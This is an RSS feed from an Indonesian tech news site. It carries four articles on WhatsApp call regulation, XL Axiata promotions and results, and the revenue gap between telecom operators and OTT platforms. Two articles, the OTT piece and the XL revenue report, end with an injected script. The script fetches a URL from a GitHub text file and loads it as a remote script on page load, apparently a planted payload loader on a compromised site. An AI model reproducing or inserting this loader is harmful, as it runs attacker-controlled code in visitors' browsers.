<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>operator telko &#8211; NativZen</title>
	<atom:link href="https://nativzen.com/tag/operator-telko/feed/" rel="self" type="application/rss+xml" />
	<link>https://nativzen.com</link>
	<description>Berita gadget dan teknologi terbaru</description>
	<lastBuildDate>Wed, 23 Jul 2025 23:43:52 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5.5</generator>

<image>
	<url>https://nativzen.com/wp-content/uploads/2025/02/cropped-NZ_icon_no_BG-32x32.png</url>
	<title>operator telko &#8211; NativZen</title>
	<link>https://nativzen.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Penjelasan Komdigi soal Wacana Pembatasan Voice dan Video Call WhatsApp</title>
		<link>https://nativzen.com/2025/07/24/penjelasan-komdigi-soal-wacana-pembatasan-voice-dan-video-call-whatsapp/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Wed, 23 Jul 2025 23:43:47 +0000</pubDate>
				<category><![CDATA[APPS]]></category>
		<category><![CDATA[aplikasi whatsapp]]></category>
		<category><![CDATA[komdigi]]></category>
		<category><![CDATA[operator telko]]></category>
		<category><![CDATA[ott]]></category>
		<category><![CDATA[whatsapp]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=20888</guid>

					<description><![CDATA[Tidak ada rencana dari pemerintah untuk membatasi layanan panggilan suara dan video berbasis VoIP, termasuk layanan WhatsApp Call.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Pemerintah Republik Indonesia melalui Kementerian Komunikasi dan Digital (Komdigi) ingin menciptakan persaingan sehat dan adil antara operator seluler dan platform over the top (OTT).</p>



<p>Seperti diketahui, operator seluler telah mengeluarkan investasi besar untuk membangun infrastruktur internet dan dibebani pungutan, sedangkan platform OTT seperti WhatsApp dianggap hanya memanfaatkan jaringan yang ada untuk mengoperasikan layanan mereka.</p>



<p>Sebelumnya, Direktur Strategi dan Kebijakan Infrastruktur Digital, Kementerian Komdigi, Denny Setiawan mengungkapkan bahwa pemerintah punya wacana pembatasan layanan panggilan suara dan video lewat aplikasi seperti WhatsApp.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img fetchpriority="high" decoding="async" width="518" height="375" src="https://nativzen.com/wp-content/uploads/2025/07/Komdigi.jpeg" alt="" class="wp-image-20890" srcset="https://nativzen.com/wp-content/uploads/2025/07/Komdigi.jpeg 518w, https://nativzen.com/wp-content/uploads/2025/07/Komdigi-300x217.jpeg 300w, https://nativzen.com/wp-content/uploads/2025/07/Komdigi-370x268.jpeg 370w, https://nativzen.com/wp-content/uploads/2025/07/Komdigi-270x195.jpeg 270w" sizes="(max-width: 518px) 100vw, 518px" /></figure></div>


<p>Akan tetapi, hal ini diluruskan oleh Menteri Komunikasi dan Digital Meutya Hafid yang menegaskan bahwa tidak ada rencana dari pemerintah untuk membatasi layanan panggilan suara dan video berbasis internet atau voice over IP (VoIP), termasuk layanan WhatsApp Call.</p>



<p>Meutya Hafid juga menekankan bahwa usulan tersebut belum pernah dibahas dalam forum pengambilan kebijakan dan belum pernah menjadi bagian dari agenda resmi kementerian, seperti dikutip dari website resmi Komdigi.</p>



<p>“Saya meminta maaf jika terjadi keresahan di tengah masyarakat. Saya sudah meminta jajaran terkait untuk segera melakukan klarifikasi internal dan memastikan tidak ada kebijakan yang diarahkan pada pembatasan layanan digital,” tegasnya.</p>



<p>Komdigi saat ini fokus pada agenda prioritas nasional, antara lain perluasan akses internet di wilayah tertinggal, peningkatan literasi digital, serta penguatan keamanan dan perlindungan data di ruang digital.</p>



<h3 class="wp-block-heading">Larangan Video Call WhatsApp Dilakukan di Beberapa Negara</h3>



<p>Di beberapa negara rupanya pembatasan layanan seperti video call WhatsApp telah dilakukan. Di negara seperti China, Korea Utara, Suriah dan Iran, statusnya ialah WhatsApp tidak dapat digunakan atau sulit diakses oleh pengguna.</p>



<p>Hanya saja, di sejumlah negara seperti Uni Emirat Arab (UEA), Qatar, Arab Saudi dan Mesir masih mengizinkan layanan teks WhatsApp saja, sedangkan panggilan suara dan video call diblokir. Terbaru, di Sudan juga memblokir sementara layanan panggilan suara dan video mulai Juli 2025 dengan alasan keamanan nasional.</p>



<p>Apa Dampak Jika Pemerintah Memblokir Voice dan Video Call WhatsApp?</p>



<p>Diambil dari berbagai sumber, apabila negara melarang fitur video call WhatsApp, dampak utamanya adalah pengguna tidak bisa lagi melakukan panggilan suara dan video melalui aplikasi tersebut.</p>



<p>Dengan demikian, komunikasi langsung yang biasanya lebih hemat pulsa dan mudah dilakukan melalui internet menjadi terhambat. Jika demikian, pengguna harus beralih ke aplikasi lain yang disetujui pemerintah atau aplikasi telekomunikasi konvensional seperti panggilan seluler biasa, yang biasanya lebih mahal dan kurang fleksibel.</p>



<p>Semua pengguna, termasuk UMKM dan sektor bisnis kecil yang bergantung pada video call gratis untuk komunikasi dan pelayanan pelanggan bisa terdampak karena harus mencari alternatif yang mungkin kurang familiar atau bahkan berbayar.</p>



<p>Kendati demikian, operator seluler bisa mendapat keuntungan secara finansial karena trafik panggilan akan bergeser ke layanan mereka yang berbayar. Ini mengurangi “ketimpangan kontribusi” antara penyedia infrastruktur (perusahaan telekomunikasi) dan aplikasi OTT yang selama ini menggunakan jaringan tanpa kontribusi finansial secara langsung.</p>



<p><strong><em>Penulis: Ahmad Luthfi</em></strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Rayakan Hari Ulang Tahun ke-28, XL Axiata Tawarkan Segudang Promo</title>
		<link>https://nativzen.com/2024/10/07/rayakan-hari-ulang-tahun-ke-28-xl-axiata-tawarkan-segudang-promo/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Mon, 07 Oct 2024 08:50:25 +0000</pubDate>
				<category><![CDATA[BUSINESS]]></category>
		<category><![CDATA[axis]]></category>
		<category><![CDATA[banjir promo]]></category>
		<category><![CDATA[operator telko]]></category>
		<category><![CDATA[prioritas]]></category>
		<category><![CDATA[ultah ke-28 tahun]]></category>
		<category><![CDATA[xl axiata]]></category>
		<category><![CDATA[xl prabayar]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=12479</guid>

					<description><![CDATA[Segudang promo menarik ditawarkan oleh XL Axiata ke pelanggan XL Prabayar, PRIORITAS, AXIS, XL Satu hingga XL Axiata Business Solutions.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Merayakan Hari Ulang Tahun ke-28 melayani masyarakat Indonesia dan <strong>#AdaUntukIndonesia</strong>, PT XL Axiata Tbk (XL Axiata) menghadirkan beragam bonus dan promo menarik untuk semua segmen pelanggan setia. </p>



<p>Semua pelanggan, baik XL Prabayar, PRIORITAS, AXIS, XL SATU, hingga XL Axiata Business Solutions akan mendapatkan penawaran promo spesial mulai 7-11 Oktober 2024. Promo ini bisa di dapatkan melalui aplikasi myXL, dan AXISNet. </p>



<p>”Sudah 28 tahun XL Axiata hadir untuk Indonesia. Kami ingin memberikan apresiasi sekaligus berbagi momen kebahagiaan dengan pelanggan melalui promo yang kami tawarkan di hari spesial ini,&#8221; ujar Direktur &amp; Chief Commercial Officer, Consumer XL Axiata, David Arcelus Oses.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="778" src="https://nativzen.com/wp-content/uploads/2024/10/XL-Axiata-Promo-1024x778.jpg" alt="" class="wp-image-12480" srcset="https://nativzen.com/wp-content/uploads/2024/10/XL-Axiata-Promo-1024x778.jpg 1024w, https://nativzen.com/wp-content/uploads/2024/10/XL-Axiata-Promo-300x228.jpg 300w, https://nativzen.com/wp-content/uploads/2024/10/XL-Axiata-Promo-768x584.jpg 768w, https://nativzen.com/wp-content/uploads/2024/10/XL-Axiata-Promo-1536x1167.jpg 1536w, https://nativzen.com/wp-content/uploads/2024/10/XL-Axiata-Promo-370x281.jpg 370w, https://nativzen.com/wp-content/uploads/2024/10/XL-Axiata-Promo-270x205.jpg 270w, https://nativzen.com/wp-content/uploads/2024/10/XL-Axiata-Promo-570x433.jpg 570w, https://nativzen.com/wp-content/uploads/2024/10/XL-Axiata-Promo-740x562.jpg 740w, https://nativzen.com/wp-content/uploads/2024/10/XL-Axiata-Promo-80x60.jpg 80w, https://nativzen.com/wp-content/uploads/2024/10/XL-Axiata-Promo.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Berikut pilihan promo HUT XL Axiata ke-28 yang bisa dipilih oleh pelanggan.</p>



<h3 class="wp-block-heading">XL Prabayar (Periode promo 7-11 Oktober 2024)</h3>



<ol>
<li></li>
</ol>



<ul>
<li>28GB Kuota WhatsApp 3 hari hanya Rp 5 ribu;</li>



<li>Rp 28 ribu untuk Kuota Combo 17 GB (5GB kuota utama + 12 GB kuota aplikasi Youtube, Tiktok, Instagram) 5 hari;</li>



<li>Kuota Combo 8 GB (3GB kuota utama + 5 kuota aplikasi Whatsapp) 2 hari Rp 8 ribu;</li>



<li>28% tambahan cashback Gopay Coins untuk setiap transaksi paket spesial internet Anniversary Deals yang pembayarannya dengan akun GoPay;</li>



<li>Penawaran Spesial XL Poin Tukar 1 XL Poin saja untuk mendapatkan voucher diskon menarik dari Kopi Kenangan, Swiss-Belhotel International, Ragnarok Origin Global, dan ZALORA.</li>
</ul>



<h3 class="wp-block-heading">Khusus untuk pelanggan XL Prabayar terpilih:</h3>



<ul>
<li>Bonus Kuota Utama hingga 2,8GB berlaku 2 hari dengan beli paket minimal mulai dari Rp 10 ribu di myXL Special For You pada tanggal 7-9 Oktober 2024.</li>
</ul>



<h3 class="wp-block-heading">Promo XL PRIORITAS</h3>



<ul>
<li>Streaming sepuasnya tanpa batas selama 3 hari dengan bonus kuota YouTube 8GB. Promo ini dapat ditukarkan melalui aplikasi myXL dan berlaku pada 8 Oktober 2024.</li>
</ul>



<ol start="2">
<li></li>
</ol>



<h3 class="wp-block-heading">Khusus pelanggan XL PRIORITAS terpilih:</h3>



<ul>
<li>Upgrade Paket PRIORITAS dan dapatkan diskon hingga 28%, ditambah bonus kuota 8GB selama dua bulan pertama. (8-10 Oktober);</li>



<li>Beli paket Booster dan nikmati diskon sebesar 28% untuk paket tambahan kuota selama periode promo (8-10 Oktober), tersedia hanya di myXL.</li>
</ul>



<h3 class="wp-block-heading">Promo XL Axiata Business Solutions</h3>



<ol start="3">
<li></li>
</ol>



<ul>
<li>Voucher belanja senilai jutaan rupiah untuk 28 pelanggan baru BIZ Care (syarat dan ketentuan berlaku);</li>



<li>Beli 28 Fleetech, Gratis Thermal Imaging: Pelanggan yang membeli 28 unit Fleetech akan menerima hadiah berupa Thermal Imaging Facial Recognition senilai Rp 25 juta. (syarat dan ketentuan berlaku);</li>



<li>Diskon 50% untuk IoT Connectivity+ untuk 28 pelanggan baru.(syarat dan ketentuan berlaku);</li>



<li>Dapatkan Baseus Gan5Pro Fast Charger untuk 28 pelanggan pertama yang mengaktifkan XL SATU BIZ pada paket 100 Mbps dan 300 Mbps.( syarat dan ketentuan berlaku).</li>
</ul>



<h3 class="wp-block-heading">Promo AXIS</h3>



<ol start="4">
<li></li>
</ol>



<ul>
<li>Berlaku terbatas untuk 8.000 transaksi pertama dan dapat diaktifkan melalui aplikasi AXISNET selama periode 7 hingga 9 Oktober 2024;</li>



<li>Paket TENG-GO TikTok &amp; Instagram: Hanya dengan Rp 2.800, nikmati TikTok dan Instagram selama 8 jam.</li>



<li>Paket Warnet Unlimited: Paket internet Unlimited selama 8 jam hanya dengan Rp 3.500.</li>
</ul>



<h3 class="wp-block-heading">Khusus pelanggan AXIS terpilih:</h3>



<ul>
<li>Bonus Kuota Utama hingga 2,8 GB berlaku 28 jam dengan beli paket minimal mulai dari Rp 10 ribu di AXISNet Hanya Untukmu pada tanggal 7-9 Oktober 2024.</li>
</ul>



<h3 class="wp-block-heading">Promo XL SATU</h3>



<ol start="5">
<li></li>
</ol>



<p>Promo KADO UNTUK ANDA dari XL SATU berikan banyak keuntungan. Dengan bayar 8 bulan langsung di depan, pelanggan akan mendapatkan layanan XL SATU selama 10 bulan. Pelanggan hanya membayar biaya langganan mulai dari 183 ribu/bulan atau menghemat hingga 738 ribu.</p>



<p>Selain itu, pelanggan juga akan mendapatkan bonus berlangganan VIDIO Platinum dan CATCHPLAY+ selama 12 bulan untuk tayangan populer nasional dan internasional, serta beragam pertandingan olahraga bergengsi kelas dunia.</p>



<p>Periode promo KADO UNTUK ANDA adalah dari 1 Oktober &#8211; 31 Oktober 2024. Untuk berlangganan atau informasi lebih lanjut, dapat menghubungi CS XL SATU di 820 (XL) atau 08170123442 (semua operator).</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Penyedia OTT Raup Untung, Operator Telekomunikasi Merana</title>
		<link>https://nativzen.com/2023/12/31/penyedia-ott-raup-untung-operator-telekomunikasi-merana/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Sun, 31 Dec 2023 00:26:34 +0000</pubDate>
				<category><![CDATA[NEWS]]></category>
		<category><![CDATA[TELKO]]></category>
		<category><![CDATA[layanan ott]]></category>
		<category><![CDATA[operator telko]]></category>
		<category><![CDATA[over the top]]></category>
		<category><![CDATA[telekomunikasi]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=2261</guid>

					<description><![CDATA[Layanan Over the Top (OTT) masih terus menjadi polemik hingga pemerintahan Presiden Joko Widodo mau berakhir.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Layanan Over the Top (OTT) masih terus menjadi polemik hingga pemerintahan Presiden Joko Widodo mau berakhir. Sebab hingga saat ini Kementerian Komunikasi dan Informatika (Kominfo) RI belum menerbitkan aturan yang jelas terkait layanan OTT tersebut.</p>



<p>Sejumlah pihak seperti operator telekomuniasi hingga Dewan Perwakilan Rakyat (DPR) padahal sudah mendesak pemerintah dalam hal ini Kominfo untuk membuat regulasi layanan OTT. Bahkan DPR tidak hanya mendesak Kominfo tetapi juga Kementerian BUMN.</p>



<p>Di sisi lain, tak sedikit masyarakat Indonesia yang semakin bergantung terhadap layanan OTT yang dikembangkan oleh pihak asing. Ketika sudah tergantung terhadap layanan OTT asing, banyak masyarakat justru mengeluh mengenai kelambatan akses internet di Indonesia.</p>



<p>Ketika OTT, khususnya dari negara luar menikmati keuntungan dari masyarakat Indonesia, justru operator telekomunikasi di negeri ini menderita. Hal ini lantaran mereka dipaksa untuk membangun infrastruktur digital yang cepat dan andal. </p>



<p>Padahal untuk membangun infrastruktur digital yang mumpuni selain tidak mudah, juga tidak murah. Belum lagi beban operator telekomunikasi yang saat ini sangat berat dengan regulatory charge yang besar, yang diminta oleh negara. </p>



<p>Nah! Terkait hal itu, Selular Media Network baru saja menggelar Selular Business Forum di Jakarta, (27/12). Tema yang diangkat dalam forum diskusi kali ini adalah &#8220;Urgensi Regulasi OTT Demi Mengembalikan Kesehatan Industri Seluler&#8221;.</p>



<p>Selain dihadiri langsung oleh Uday Rayana, CEO &amp; Editor in Chief Selular Media Network, forum diskusi ini juga menghadirkan Kamilov Sagala, seorang pengamat telekomunikasi di Tanah Air, yang juga mantan di Badan Regulasi Telekomunikasi Indonesia (BRTI).</p>



<p>Dua narasumber lainnya yang turut meramaikan forum diskusi yang membahas permasalahan OTT di Tanah Air ini adalah Sigit Puspito Wigati Jarot, Ketua Bidang Infrastruktur Telematika Nasional Mastel dan Heru Sutadi, Direktur Eksekutif Indonesia ICT Institute.</p>



<p>Dalam keterangannya, Sigit menyebutkan bahwa untuk menyehatkan industri seluler memang perlu ada regulasi untuk mengatur OTT. Saat ini terjadi ketimpangan pendapatan antara operator telekomunikasi dengan penyedia layanan OTT secara global.</p>



<p>â€œDari data SNS Insider, OTT secara global mampu meraup US$ 295,24 miliar pada tahun 2021 dan kemungkinan akan tumbuh hingga US$ 1,951 triliun pada tahun 2030,â€ ujar Sigit. Selain itu, Sigit juga menjabarkan perbandingan pendapatan telekomunikasi dengan OTT.</p>



<p>â€œPendapatan operator telekomunikasi pada 2010 bisa mencapai US$ 458 miliar dari SMS dan voice, sedangkan OTT hanya US$ 41 miliar. Kini pada 2021 terbalik, operator telekomunikasi hanya mendapat US$ 702 miliar, sedangkan OTT mencapai US$ 753 miliar,&#8221; tambah Sigit.</p>



<p>Sementara, Heru Sutadi mengatakan saat ini perkembangan bisnis telekomunikasi terdestrupsi oleh layanan OTT yang membuat trafik voice dan SMS menurun. Operator telekomunikasi hanya seperti penyedia pipa (dumb pipe) dengan capex dan apex yang besar.</p>



<p>&#8220;Saat ini kita bisa melihat bahwa operator telekomunikasi di Tanah Air hanya seperti penyedia pipa dengan capex dan apex yang besar. Sementara itu, layanan OTT berselancar di atas jaringan yang dibangun oleh opertaor telekomunikasi,â€ kata Heru.</p>



<p>Hal tersebut yang membuat Heru berpendapat bahwa harus ada sumbangsih dari penyedia layanan OTT untuk turut membantu operator telekomunikasi membangun infrastruktur digital. Caranya bisa dengan pajak digital hingga penerimaan negara bukan pajak atau PNBP.</p>



<p>â€œIndonesia bisa belajar dengan sejumlah negara yang telah menerapkan Digital Services Tax (DTS) seperti Austria, Prancis, Hungaria, Italia, Polandia, Portugal, Spanyol, Turki dan Inggris, meskipun strukturalnya berbeda-beda,â€ sambung Heru.</p>



<p>Sementara, Kamilov mengatakan bahwa OTT menumpang layanan operator telekomunikasi bahkan bisa mengabaikan kedaulatan negara. â€œUntuk bertemu petinggi OTT, seorang Presiden perlu keluar negeri. Sedangkan kalau di operator telekomunikasi cuma sekelas menteri,&#8221; kata Kamilov.</p>



<p>Karena itu, Kamilov juga menegaskan bahwa pemerintah harus segera membuat regulasi terkait layanan OTT ini. Hal ini terbilang penting agar penyedia layanan OTT tersebut bisa turut mengambil beban Universal Service Obligation (USO).</p>



<p>â€œBayangkan saja jika penyedia layanan OTT itu mampu membantu membuat infrastruktur telekomunikasi di daerah 3T (tertinggal, terdepan, terluar), maka masyarakat di sana juga bisa mengakses OTT dan pendapatannya juga semakin meningkat,â€ tandasnya.</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Pendapatan XL tumbuh 10% Sepanjang 9 Bulan di 2023</title>
		<link>https://nativzen.com/2023/11/22/pendapatan-xl-tumbuh-10-sepanjang-9-bulan-di-2023/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Wed, 22 Nov 2023 09:28:14 +0000</pubDate>
				<category><![CDATA[NEWS]]></category>
		<category><![CDATA[TELKO]]></category>
		<category><![CDATA[operator telko]]></category>
		<category><![CDATA[pendapatan xl tumbuh]]></category>
		<category><![CDATA[xl axiata]]></category>
		<guid isPermaLink="false">http://nativzen.com/?p=1083</guid>

					<description><![CDATA[Tercatat, sepanjang 9 bulan di tahun 2023, pendapatan PT XL Axiata Tbk (XL Axiata) tetap tumbuh 10% YoY menjadi Rp 23,88 triliun.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Tercatat, sepanjang 9 bulan di tahun 2023, pendapatan PT XL Axiata Tbk (XL Axiata) tetap tumbuh 10% YoY menjadi Rp 23,88 triliun. Selain itu, EBITDA juga tumbuh 13% YoY menjadi Rp 11,76 triliun, dan EBITDA Margin menjadi 49%. </p>



<p>Sementara, laba bersih mencapai Rp1,02 trilun dan pendapatan data serta layanan digital mencapai Rp21,72 trilun, atau sekitar 91% dari total pendapatan. XL Axiata juga optimis dengan masa depan bisnis Fixed Broad Band (FBB) dan Fixed Mobile Convergence (FMC).</p>



<p>&#8220;Di periode sembilan bulan tahun ini, XL Axiata tetap mampu mencetak tingkat profitabilitas yang tumbuh positif dibandingkan hasil pencapaian di periode yang sama tahun lalu,&#8221; ucap Presiden Direktur &amp; CEO XL Axiata, Dian Siswarini.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="694" src="https://nativzen.com/wp-content/uploads/2023/11/XL-Axiata-1024x694.jpg" alt="" class="wp-image-1085" srcset="https://nativzen.com/wp-content/uploads/2023/11/XL-Axiata-1024x694.jpg 1024w, https://nativzen.com/wp-content/uploads/2023/11/XL-Axiata-300x203.jpg 300w, https://nativzen.com/wp-content/uploads/2023/11/XL-Axiata-768x521.jpg 768w, https://nativzen.com/wp-content/uploads/2023/11/XL-Axiata-1536x1042.jpg 1536w, https://nativzen.com/wp-content/uploads/2023/11/XL-Axiata-370x251.jpg 370w, https://nativzen.com/wp-content/uploads/2023/11/XL-Axiata-270x183.jpg 270w, https://nativzen.com/wp-content/uploads/2023/11/XL-Axiata-570x387.jpg 570w, https://nativzen.com/wp-content/uploads/2023/11/XL-Axiata-740x502.jpg 740w, https://nativzen.com/wp-content/uploads/2023/11/XL-Axiata.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Dian menambahkan bahwa tantangan ke depan tentunya tidak akan lebih ringan. Untuk itu, berbagai inisiatif akan terus dilakukan, termasuk mendorong dan mengakselerasi pertumbuhan bisnis FBB dan FMC yang saat ini terus menunjukkan pontensi menggembirakan.</p>



<p>Hingga kuartal ketiga 2023, Dian juga menyebutkan bahwa tercatat sebanyak 206 ribu pelanggan layanan Home, dengan penambahan hingga sebanyak lebih dari 52 ribu dalam tiga bulan. Pencapaian tersebut tidak terlepas dari semakin luasnya jaringan XL SATU Fiber.</p>



<p>Layanan tersebut kini telah mencapai 75 kota/kabupaten, termasuk lebih dari 12 kota/kabupaten tambahan dalam tiga bulan terakhir. Di sisi lain, XL Axiata mampu terus meningkatkan penetrasi layanan konvergensi hingga 69% dari pelanggan layanan Home.</p>



<p>Dian juga mengatakan bahwa hingga akhir September 2023, tercatat jumlah pelanggan XL Axiata telah mencapai 57,5 juta. Tercatat, ARPU Mobile XL Axiata sebesar Rp40 ribu untuk prabayar, Rp90 ribu pascabayar, dan Rp42 ribu blended. </p>



<p>Peningkatan blended ARPU ini juga dikatatakan telah searah dengan fokus XL Axiata untuk meraih dan mempertahankan pelanggan yang produktif. Dari sisi biaya-biaya operasional, XL Axiata juga berhasil menjaga tingkat stabilitasnya. </p>



<p>&#8220;Bahkan biaya yang terkait dengan penjualan dan pemasaran berhasil bisa kita tekan, dan kini menurun jika dibandingkan dengan periode yang sama tahun sebelumnya. Hal ini juga seiring dengan penerapan strategi digitalisasi yang XL Axiata jalankan,&#8221; tambah Dian. </p>



<p>Untuk beberapa komponen biaya lainnya juga turun jika dibandingkan kuartal sebelumnya, seperti biaya interkoneksi dan pengeluaran langsung lainnya, biaya pekerja, serta biaya supplies dan overhead. Biaya ekspansi infrastruktur juga selaras dengan pertumbuhan jumlah site. </p>



<p>&#8220;Tak hanya itu, strategi transformasi digital yang dijalankan secara menyeluruh oleh XL Axiata termasuk dalam mengembangkan pengalaman pelanggan melalui aplikasi MyXL dan AXISNet juga terus menunjukkan efektivitasnya,&#8221; ujar Dian.</p>



<p>Kedua aplikasi kata Dian telah memberikan hasil yang sangat kuat hingga sembilan bulan di 2023. Tercatat lebih dari 27 juta pelanggan yang aktif menggunakan MyXL dan AXISNet, dengan pertumbuhan Monthly Active User (MAU) telah mencapai 77% sejak Desember 2021.</p>



<p>Salah satu kunci pertumbuhan XL Axiata adalah personalisasi penawaran dan layanan. Strategi tersebut terus diterapkan di sepanjang sembilan bulan ini. Hasilnya, data net promoter score (NPS) terus meningkat secara signifikan, dan juga membantu meningkatkan pendapatan.</p>



<p>Hasil dari penerapan strategi berbasis digital melalui data analytics juga memungkinkan XL Axiata berinvestasi di area yang bernilai tinggi dan membangun jaringan, termasuk untuk memenuhi permintaan dari seluruh segmen pelanggan. </p>



<p>&#8220;Dengan data analytics memungkinkan XL Axiata mengevaluasi key performance indicator (KPI) di semua aspek terkait pelanggan, kampanye pemasaran, dan loyalitas pelanggan, sehingga perusahaan dapat merancang strategi yang tepat kedepannya,&#8221; pungkas Dian</p>



<p>Hingga per akhir September 2023, posisi keuangan XL Axiata sehat. Utang kotor tercatat di angka Rp9,67 triliun, dengan rasio gearing net debt to EBITDA (termasuk finance lease) sebesar 2,7x. Sementara, Utang bersih tercatat sebesar Rp7,8 triliun. </p>



<p>XL Axiata tidak memiliki utang berdenominasi USD. Sebesar 37% dari pinjaman yang ada saat ini memiliki suku bunga mengambang (floating) dan 63% memiliki suku bunga tetap. Free Cash Flow (FCF) berada pada tingkat yang sehat, dengan peningkatan sebesar 53%, menjadi Rp 6,21 triliun.</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
